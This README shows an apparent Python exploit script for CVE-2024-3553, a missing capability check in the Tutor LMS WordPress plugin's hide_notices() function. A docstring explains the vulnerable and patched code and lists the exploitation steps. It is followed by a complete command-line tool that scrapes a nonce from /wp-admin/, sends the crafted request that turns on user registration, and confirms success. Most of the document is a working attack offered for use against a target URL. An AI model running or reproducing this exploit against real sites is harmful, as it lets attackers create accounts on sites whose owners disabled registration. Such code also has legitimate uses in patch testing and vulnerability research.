README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization Vulnerability
Author: Security Researcher
Date: 2024
VULNERABILITY DESCRIPTION:
The Tutor LMS plugin for WordPress (versions <= 2.6.2) contains a missing
capability check in the hide_notices() function in classes/User.php.
VULNERABLE CODE (version 2.6.2):
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // <-- NO CAPABILITY CHECK!
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
THE FLAW:
1. The function checks if is_admin() - which only checks if the current page is in the admin area,
NOT if the user is an administrator
2. It requires a valid nonce, BUT the nonce is checked AFTER the is_admin() check
3. The nonce is generated from the admin notice, which is accessible to any user who can view admin pages
4. There is NO capability check (like current_user_can('manage_options'))
5. This allows ANY user (even unauthenticated) to enable user registration
PATCHED CODE (version 2.7.0):
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
$has_manage_cap = current_user_can( 'manage_options' ); // <-- ADDED CAPABILITY CHECK
if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 );
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + MONTH_IN_SECONDS, tutor()->basepath );
}
}
}
IMPACT:
- Unauthenticated attackers can enable user registration on sites where it's disabled
- This allows attackers to create accounts on sites that should have registration disabled
- Could lead to unauthorized access, spam accounts, or privilege escalation if combined with other vulnerabilities
EXPLOITATION STEPS:
1. Obtain a valid nonce from any admin page (the nonce is public)
2. Craft a request with tutor-hide-notice=registration and tutor-registration=enable
3. Include the valid nonce in the request
4. Send the request to trigger the vulnerability
5. User registration is now enabled on the target site
"""
import argparse
import requests
import sys
from urllib.parse import urljoin
import re
class TutorLMSExploit:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def get_nonce(self):
"""
Extract the Tutor nonce from the WordPress admin area.
The nonce is publicly accessible and used for the hide_notices functionality.
"""
print("[*] Step 1: Attempting to extract nonce from admin pages...")
# Try to get nonce from the admin dashboard
# Note: In vulnerable versions, the nonce is exposed in admin notices
admin_url = urljoin(self.target_url, '/wp-admin/')
try:
response = self.session.get(admin_url, allow_redirects=True)
# Look for the tutor nonce in the page
# The nonce pattern is typically: _wpnonce=<nonce_value>
nonce_match = re.search(r'_wpnonce=([a-f0-9]+)', response.text)
if nonce_match:
nonce = nonce_match.group(1)
print(f"[+] Successfully extracted nonce: {nonce}")
return nonce
# Alternative: Try to find tutor-specific nonce patterns
tutor_nonce_patterns = [
r'tutor[_-]nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']',
r'data-nonce=["\']([a-f0-9]+)["\']',
r'nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']'
]
for pattern in tutor_nonce_patterns:
match = re.search(pattern, response.text, re.IGNORECASE)
if match:
nonce = match.group(1)
print(f"[+] Successfully extracted nonce: {nonce}")
return nonce
print("[-] Could not find nonce in admin pages")
print("[!] Note: This exploit requires a valid nonce which may be obtainable through:")
print(" - Logged-in user access to admin area")
print(" - Publicly exposed admin notices")
print(" - Other information disclosure vulnerabilities")
return None
except Exception as e:
print(f"[-] Error extracting nonce: {str(e)}")
return None
def check_registration_status(self):
"""Check if user registration is currently enabled."""
print("\n[*] Checking current registration status...")
try:
# Check the registration page
register_url = urljoin(self.target_url, '/wp-login.php?action=register')
response = self.session.get(register_url)
if 'Registration is disabled' in response.text or \
'Registrations are closed' in response.text or \
response.status_code == 302: # Redirect usually means disabled
print("[+] Registration is currently DISABLED")
return False
elif '<form' in response.text and 'user_login' in response.text:
print("[+] Registration is currently ENABLED")
return True
else:
print("[?] Registration status unclear")
return None
except Exception as e:
print(f"[-] Error checking registration status: {str(e)}")
return None
def enable_registration(self, nonce):
"""
Exploit the vulnerability to enable user registration.
The vulnerability is in the hide_notices() function which:
1. Checks is_admin() (only checks if in admin area, NOT user capability)
2. Requires nonce (which can be obtained)
3. Missing current_user_can('manage_options') check
4. Allows enabling registration via tutor-registration=enable parameter
"""
print(f"\n[*] Step 2: Attempting to enable user registration...")
print(f"[*] Target: {self.target_url}")
# Construct the exploit URL
exploit_url = urljoin(self.target_url, '/wp-admin/index.php')
params = {
'tutor-hide-notice': 'registration',
'tutor-registration': 'enable',
'_wpnonce': nonce
}
print(f"[*] Exploit URL: {exploit_url}")
print(f"[*] Parameters: {params}")
try:
# Send the exploit request
response = self.session.get(exploit_url, params=params, allow_redirects=True)
print(f"[*] Response status: {response.status_code}")
# Check if the exploit was successful
if response.status_code == 200:
print("[+] Request sent successfully!")
return True
else:
print(f"[-] Unexpected response status: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error during exploitation: {str(e)}")
return False
def verify_exploitation(self):
"""Verify that the exploitation was successful by checking registration status."""
print("\n[*] Step 3: Verifying exploitation success...")
# Wait a moment for the change to take effect
import time
time.sleep(2)
status = self.check_registration_status()
if status == True:
print("\n[!] ========================================")
print("[!] EXPLOITATION SUCCESSFUL!")
print("[!] User registration is now ENABLED")
print("[!] ========================================")
return True
elif status == False:
print("\n[-] ========================================")
print("[-] EXPLOITATION FAILED")
print("[-] User registration is still DISABLED")
print("[-] ========================================")
return False
else:
print("\n[?] ========================================")
print("[?] EXPLOITATION STATUS UNCLEAR")
print("[?] Manual verification recommended")
print("[?] ========================================")
return None
def run(self, nonce=None):
"""Execute the complete exploitation chain."""
print("=" * 60)
print("CVE-2024-3553 Exploit - Tutor LMS Missing Authorization")
print("Target: " + self.target_url)
print("=" * 60)
# Check initial registration status
initial_status = self.check_registration_status()
if initial_status == True:
print("\n[!] Registration is already enabled. Exploit not needed.")
return True
# Get nonce if not provided
if not nonce:
nonce = self.get_nonce()
if not nonce:
print("\n[-] Failed to obtain nonce. Exploitation cannot continue.")
print("[!] You can manually provide a nonce using --nonce parameter")
return False
else:
print(f"[*] Using provided nonce: {nonce}")
# Attempt exploitation
if self.enable_registration(nonce):
# Verify the result
return self.verify_exploitation()
else:
print("\n[-] Exploitation failed during request phase")
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2024-3553 Exploit - Tutor LMS Missing Authorization',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=__doc__
)
parser.add_argument('target', help='Target WordPress URL (e.g., https://example.com)')
parser.add_argument('--nonce', help='Manually provide a WordPress nonce', default=None)
parser.add_argument('--check-only', action='store_true',
help='Only check registration status, do not exploit')
args = parser.parse_args()
exploit = TutorLMSExploit(args.target)
if args.check_only:
exploit.check_registration_status()
else:
success = exploit.run(nonce=args.nonce)
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()